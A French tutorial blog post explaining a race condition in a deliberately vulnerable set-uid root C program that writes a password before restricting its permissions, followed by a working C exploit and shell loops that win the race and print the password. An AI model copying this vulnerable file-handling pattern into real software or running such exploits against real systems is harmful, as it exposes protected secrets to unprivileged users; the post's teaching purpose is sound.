La race condition

La race condition

Imaginons un programme créant un fichier texte et qui y écrit un mot de passe. Ce fichier texte ne peut être lu que par son propriétaire.

Voici le code du dit programme.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>

int main()
{
    struct stat st;
    FILE* fd;

    if(!stat("password.txt", &st))
    {
        printf("Le fichier existe déjà\n");
        return 0;
    }

    printf("Création du fichier\n");

    fd = fopen("password.txt", "a");
    fputs("monsupermotdepasse", fd);
    chmod("password.txt", 700);
    fclose(fd);

    return 0;
}

On compile ce programme en tant que root et on lui donne le bit set-uid, ce qui permet à un utilisateur possédant moins de droits d'exécuter le programme avec les droits du propriétaire (root dans notre cas).

root@hacktion:~# gcc race.c -o race
root@hacktion:~# chmod +s ./race

Lançons notre programme avec un utilisateur possédant moins de droits.

que20@hacktion:~$ ./race
Création du fichier
que20@hacktion:~$ 

Tentons d'afficher le fichier contenant le mot de passe.

que20@hacktion:~$ cat password.txt 
cat: password.txt: Permission non accordée
que20@hacktion:~$ ls -lA          
total 16
-rwx------ 1 root  root    18 oct  4 14:57 password.txt
-rwsr-sr-x 1 root  root  7640 oct  4 14:57 race
-rw-r--r-- 1 que20 que20  420 oct  4 14:57 race.c
que20@hacktion:~$ 

Comme nous pouvons le constater et comme nous nous en doutions, seul le propriétaire de password.txt, c'est à dire, dans ce cas-ci, root, peut le lire. A première vue, on pourrait penser qu'il nous serait impossible de lire le fichier. En réalité, c'est totalement possible mais durant un court laps de temps !

Reprenons le code de notre programme et plus particulièrement ces trois lignes.

fd = fopen("password.txt", "a");
fputs("monsupermotdepasse", fd);
chmod("password.txt", 700);

Le fichier est créé, on y écrit le mot de passe et on change les droits afin qu'il ne soit lisible que par son propriétaire. Et c'est là qu'est le coeur du problème et l'intérêt d'une race condition : entre l'écriture dans le fichier et le changement des droits, le fichier est lisible par tout le monde ! Certes, il ne l'est qu'une très courte période mais si nous tentions de lire le fichier durant ce petit laps de temps, nous pourrions tout à fait le faire !

C'est cela, une race condition : profiter du faible laps de temps qu'il peut y avoir entre deux instructions, comme, par exemple, la création d'un fichier et le changement de ses droits, afin d'effectuer une action qui n'aurait pas été permise après ce laps de temps.

Exploitation

L'idée est la suivante : créer un exploit qui va supprimer le fichier password.txt (on ne peut ni le lire, ni y écrire, mais on peut le supprimer) et qui va ensuite tenter d'afficher son contenu, tout cela en boucle. Le résultat, s'il y en a un, sera redirigé vers un fichier texte. De l'autre coté, nous lancerons également notre programme race en boucle. Dès que le fichier password.txt est supprimé par l'exploit, le programme race va alors le créer, y écrire le mot de passe et changer ses droits. C'est là que se situe notre fenêtre d'opportunité : si l'exploit tente, pile juste après que le programme race ait écrit le mot de passe dans le fichier et avant de changer les droits, de lire le fichier, ce dernier lui sera tout à fait accessible et nous pourrons afficher son contenu sans aucun problème. On va donc essayer de se faire chevaucher les deux programmes au bon moment pour parvenir à lire notre fichier password.txt, d'où l'utilité de les faire tourner en boucle.

Voici notre exploit.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

/* gcc exploit.c -o exploit */

int main(int argc, char* argv[])
{
    int i = 0;

    while(i < atoi(argv[1]))
    {
        remove("password.txt");
        system("/bin/cat password.txt"); /* Je sais, system(), c'est pas bien mais bon... */
        i++;
    }

    return 0;
}

Ensuite, lançons notre programme race en boucle.

que20@hacktion:~$ while true; do ./race; done;
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
Le fichier existe déjà
...

Puis, dans un autre terminal, lançons notre exploit et redirigeons sa sortie vers un fichier. 10000 itérations devraient suffire.

que20@hacktion:~$ ./exploit 10000 > result.txt

On peut alors remarquer, du coté du programme race, une certaine alternance.

Création du fichier
Le fichier existe déjà
Création du fichier
Création du fichier
Le fichier existe déjà
Création du fichier
Création du fichier
Le fichier existe déjà
Création du fichier
Création du fichier
Création du fichier
Création du fichier
Le fichier existe déjà

Une fois les 10000 itérations effectuées, il ne nous reste plus qu'a espérer qu'il y a bien eu, à un moment donné, une lecture du fichier par l'exploit juste après sa création par le programme race. Si ça a bien été le cas, alors notre fichier result.txt devrait contenir le mot de passe, sinon c'est que cette situation ne s'est pas produite.

que20@hacktion:~$ cat result.txt
monsupermotdepasse
que20@hacktion:~$

Victoire ! \o/

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.